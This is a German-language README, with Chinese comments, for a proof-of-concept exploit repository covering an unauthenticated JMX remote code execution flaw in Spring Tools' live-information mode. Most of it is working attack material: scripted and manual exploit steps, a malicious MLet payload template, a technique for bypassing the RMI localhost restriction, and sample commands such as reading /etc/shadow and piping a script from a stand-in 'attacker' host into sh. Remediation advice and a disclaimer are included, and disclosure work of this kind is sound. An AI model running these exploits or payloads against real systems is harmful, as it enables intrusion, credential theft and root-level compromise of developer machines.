CVE-2026-47858 — Spring Tools Live-Information-Modus: Nicht autorisierte JMX-Remote-Codeausführung (PoC)

English README | Sicherheitshinweis: Spring Security Advisory | CVE Record

Schwachstelle: Wenn Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 Spring-Boot-Anwendungen im Live-Information-Modus (standardmäßig aktiviert) starten, werden der Anwendung JMX-Remote-Parameter injiziert, die ohne Authentifizierung, ohne TLS und an allen Netzwerkschnittstellen gebunden sind. Angreifer im benachbarten Netzwerk können sich ohne Anmeldedaten mit diesem JMX-MBeanServer verbinden und über das MLet-Remote-Klassenladen eine direkte RCE (mit Root-Rechten) ausführen.

• CWE-306 Missing Authentication for Critical Function
• CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Behobene Versionen: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (alle Versionen vor 5 sind gleichermaßen betroffen und werden nicht unterstützt)

Inhaltsverzeichnis

1. Grundursache (Quellcode-Belege)
2. Schnelle Reproduktion (Ein-Klick-Skript)
3. Exploit-Nutzung (flexible Befehle)
4. Angriffsprinzip: direkte RCE, keine Reverse-Connection
5. Testmatrix und Belege
6. Behebung und Schadensbegrenzung
7. Repository-Struktur
8. Haftungsausschluss

1. Grundursache (Quellcode-Belege)

Vergleich des betroffenen Tags 5.2.0.RELEASE (== v2.2.0) mit dem behobenen Tag 5.3.0.RELEASE (== v2.3.0):

Verwundbare Version eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

"-Dcom.sun.management.jmxremote",                  // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
"-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露

• BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: standardmäßig aktiviert – jedes Mal, wenn eine Boot-Anwendung aus der IDE gestartet wird, werden die oben genannten Parameter injiziert.
• Die VSCode-Erweiterung 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injiziert dieselben -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Behobene Version 5.3.0:

• Bei festem Port werden -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true hinzugefügt (JMX bindet nur an Loopback).
• Im Standardfall (Port 0) werden die Parameter com.sun.management.jmxremote* überhaupt nicht mehr injiziert; stattdessen wird über die Attach-API lokal anhand der Prozess-PID angehängt (auf VSCode-Seite ebenso – die Remote-JMX-Parameter wurden in debug-config-provider.ts vollständig entfernt).

Hinweis: Das alleinige Auftreten von -Dcom.sun.management.jmxremote.port aktiviert bereits den JMX-Agent (ohne den Hauptschalter com.sun.management.jmxremote); die VSCode-Variante ist gleichermaßen wirksam.

2. Schnelle Reproduktion (Ein-Klick-Skript)

Abhängigkeiten: docker, JDK 17+ (Standard: /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).

./run-lab.sh vuln          # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)

Benutzerdefinierter Befehl, der auf der Zielmaschine ausgeführt wird (Standard: id; hostname; uname -a):

PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln

Das Skript erledigt automatisch: Erstellen der verwundbaren Spring-Boot-Anwendung → Erstellen eines isolierten Docker-Bridge-Netzwerks (Zielcontainer 172.22.0.x, Angreifer auf dem Host, simuliert ein benachbartes Netzwerk) → Starten der Anwendung mit den JVM-Parametern der jeweiligen Version → Anzeigen des JMX-Listening-Ports → Durchführen des Exploits → Verifizieren der RCE-Markierungsdateien (/tmp/CVE-2026-47858_PWNED*) im Zielcontainer.

3. Exploit-Nutzung (flexible Befehle)

3.1 Ein-Klick-Exploit attack.sh (empfohlen)

Der Befehl ist vollständig konfigurierbar, zum Ändern des Befehls muss nichts neu kompiliert werden (der Befehl wird über das MLET-<ARG>-Tag übergeben; das JAR ist unabhängig vom Befehl):

./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]

# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim   # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标

# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP（默认自动探测）
JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK

Ablauf: automatisches Kompilieren von evil.jar → Erzeugen von mlet.txt nach XML-Escaping des Befehls → Starten eines HTTP-Dienstes, der evil.jar + mlet.txt bereitstellt → Kompilieren und Ausführen von JmxExploit → (falls ein Containername angegeben wurde) Betreten des Containers und Verifizieren der Markierungsdateien.

3.2 Manuell Schritt für Schritt

# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) 生成 mlet.txt（把 <命令> 换成你的命令，注意 XML 转义 & < > "）
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF

# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下

# 4) 编译并运行利用程序（JDK 17+ 需要 --add-opens 反射改写 RMI stub）
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"

# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout

3.3 Payload und Markierungen

• Pwn implementiert DynamicMBean; der Befehl wird im Konstruktor synchron über /bin/sh -c ausgeführt (Priorität: MLET-<ARG>-Parameter > Umgebungsvariable CVE_PAYLOAD_CMD des Zielprozesses > Standardbefehl id; hostname; uname -a).
• Auf der Zielmaschine werden Markierungen erzeugt:
  • /tmp/CVE-2026-47858_PWNED – vorhanden bedeutet RCE erfolgreich
  • /tmp/CVE-2026-47858_PWNED_cmd – der tatsächlich ausgeführte Befehl
  • /tmp/CVE-2026-47858_PWNED_cmdout – die Befehlsausgabe (stdout+stderr)

Warum <ARG>? Der JDK-MLetParser erkennt nur <ARG> (<PARAM> wird stillschweigend ignoriert), und sowohl TYPE als auch VALUE sind Pflichtfelder; außerdem verarbeitet der MLet-Parser keine HTML-Kommentare – in mlet.txt darf kein überflüssiger <...>-Text auftauchen.

4. Angriffsprinzip: direkte RCE, keine Reverse-Connection

攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090)       ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口)          ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null)           ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...)     ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar         ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>")    ← 命令在受害进程内直接执行

• Direkte Ausführung: Der Befehl wird synchron innerhalb der Ziel-JVM ausgeführt; wenn getMBeansFromURL zurückkehrt, ist der Befehl bereits abgeschlossen (die Markierungsdatei wurde geschrieben).
• Keine Reverse-Connection: Es ist kein JNDI/LDAP/RMI-Rückkanal erforderlich. Bei klassischen Reverse-Connections (Log4Shell/JRMPListener-Typ) verbindet sich der Zielprozess aktiv zurück zu einem LDAP/RMI-Dienst des Angreifers; dieser Angriff ist umgekehrt – der Angreifer verbindet sich durchgehend aktiv mit dem JMX-Dienst des Ziels und treibt dessen Ausführung an.
• Der einzige Datenverkehr vom Ziel zum Angreifer ist ein gewöhnlicher HTTP-GET (Herunterladen des Payload-JARs, also die Zustellung der schädlichen Klasse an die Zielmaschine); es entsteht keine Reverse-Connection-Shell, und es ist keine aufrechterhaltene Verbindung erforderlich.
• Hinweis zur Umgehung: Der Parameter -Djava.rmi.server.hostname=localhost in den verwundbaren Argumenten bewirkt nur, dass der RMI-Stub "localhost" ankündigt (Standard-Clients versuchen dann, sich mit dem eigenen Loopback zu verbinden, und schlagen fehl; mit NaiveJmxClient reproduzierbar). JmxExploit umgeht dies, indem es per Reflexion den TCPEndpoint-Host des Stubs auf die echte IP umschreibt (auch vorhandene Tools wie Metasploit java_jmx_server können dies umgehen).

5. Testmatrix und Belege

Tatsächliche Belege (im Zielcontainer):

$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root)     # 自定义命令输出
d4af4b454b90                               # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd        # 自定义命令（经 <ARG> 传入）
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar

6. Behebung und Schadensbegrenzung

• Upgrade: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (OSS).
• Falls ein Upgrade nicht möglich ist (offizieller Workaround): Beim Starten der Spring-Boot-Anwendung Live-Information deaktivieren (Option "Enable live information" in der Boot-Startkonfiguration).
• Notfall-Schadensbegrenzung: Sicherstellen, dass die Firewall der Entwicklungsmaschine die aus der IDE gestarteten Anwendungen nicht gegenüber dem LAN exponiert; oder der Anwendung explizit -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true als Überschreibung hinzufügen.

7. Repository-Struktur

CVE-2026-47858/
├── README.md                 # 本文档（中文）
├── README.en.md              # 英文文档
├── run-lab.sh                # 一键复现（vuln / fixed-pinned / fixed-auto 三种模式）
├── attack.sh                 # 灵活利用脚本（命令可配置，改命令无需重编译）
├── attacker/
│   ├── JmxExploit.java       # 利用程序：stub 主机重写 + MLet 远程类加载 RCE
│   └── NaiveJmxClient.java   # 对照组：不绕过 localhost 通告的朴素客户端（必失败）
├── exploit-server/
│   ├── evil/Pwn.java         # 恶意 DynamicMBean（构造函数执行命令）
│   ├── mlet.txt.template     # MLET 描述模板（命令占位符 __COMMAND__）
│   └── evil.jar              # 已构建的恶意载荷（命令无关，可随时重建）
└── victim-app/app/           # 受害 Spring Boot 4.0.7 应用（web+actuator）

8. Haftungsausschluss

Dieses Repository dient ausschließlich autorisierter Sicherheitsforschung, Schwachstellenverifikation und Abwehrtests. Die unbefugte Ausnutzung eines Systems ist rechtswidrig; der Nutzer trägt die alleinige Verantwortung.